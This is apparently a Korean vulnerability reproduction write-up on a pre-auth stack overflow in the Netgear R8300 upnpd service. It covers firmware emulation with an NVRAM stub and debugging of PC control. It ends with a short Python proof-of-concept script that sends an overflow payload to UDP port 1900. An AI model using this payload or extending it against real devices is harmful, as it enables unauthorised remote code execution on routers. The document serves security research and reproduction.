UPnP 서비스 모의 실행 환경 구축
라우터의 upnpd 서비스는 /usr/sbin/upnpd로 실행되며, IDA 프로세서에서 /var/run 디렉토리가 존재하지 않음을 확인했다. 이는 /tmp/var/run으로 연결된 심볼릭 링크이기 때문에 해당 경로를 생성해야 한다.
실행 시 발생하는 NVRAM 관련 오류는 가상환경에서 하드웨어 구성이 부족하기 때문에 발생한다. 이 문제를 해결하기 위해 Firmadyne 프레임워크의 libnvram 라이브러리를 LD_PRELOAD 환경 변수로 강제 로드한다. 사용 가능한 커스텀 라이브러리는 raw.githubusercontent.com에서 제공하는 custom_nvram_r6250.c 파일을 기반으로 한다.
ARM 아키텍처에 맞춘 라이브러리 컴파일 시 armv5l-gcc를 사용해야 하며, uclibc 라이브러리와 호환성을 확보해야 한다. Ubuntu 18.04 환경에서 32비트 런타임 라이브러리 설치가 필요하며, cross-compiler-armv5l.tar.bz2 패키지를 활용할 수 있다.
서비스 실행 시 발생하는 dlsym 함수 참조 오류는 nvram.c 파일 내부의 시스템 함수 훅킹 로직과 관련된다. 이 문제를 해결하기 위해 /tmp/nvram.ini 파일을 생성하고 아래와 같은 설정 값을 입력한다:
upnpd_debug_level=9
lan_ipaddr=192.168.195.153
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
최종적으로 LD_PRELOAD="/nvram.so /lib/libdl.so.0" /usr/sbin/upnpd 명령어로 서비스를 정상적으로 시작할 수 있다.
취약점 분석
main 함수에서 호출되는 sub_1D020 함수 내부에서 스택 오버플로우가 발생한다. ARM 아키텍처에서 반환 주소를 조작하기 위해 0x630 바이트 크기의 패ayload를 생성한다.
디버깅 과정에서 POP {R4-R11,PC} 명령어를 통해 반환 주소를 제어하는 것을 확인했다. 0x604 위치에서 오버플로우가 발생하며, PC 레지스터의 LSB(Least Significant Bit) 값이 CPSR 레지스터의 T 상태 비트에 복사된다. 이로 인해 실제 실행 주소가 0x43434342로 변조된다.
공격 시나리오
스택 메모리 조작을 통해 시스템 함수를 호출하는 방식을 적용한다. 첫 번째 스택 조정 단계에서 0x800 크기의 스택 영역을 확보하고, 0xb764 주소로 이동하여 strcpy 함수를 통해 메모리 복사한다.
최종적인 RCE(Remote Code Execution) 구현을 위해 다음과 같은 패킷을 전송한다:
#!/usr/bin/python3
import socket
import struct
from tools import*
#p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("start!!!!!!!!!!!!")
payload =b'A'*0x604+p32(0x7ee0fc64)+b'A'*0x28+b'CCCC'
s.connect(('192.168.195.153', 1900))
s.send(payload)
s.close()
참고 자료
- Netgear Nighthawk R8300 upnpd PreAuth RCE 분석 및 재현 (seebug.org)
- PSV-2020-0211: Netgear R8300 UPnP 스택 오버플로우 취약점 분석 (cq674350529's blog)
- Netgear-R8300-UPnP RCE 취약점 분석 및 재현 (CN-SEC 중문망)
- PSV-2020-0432 / CVE-2021-27239 취약점 재현 (xuanxuanblingbling.github.io)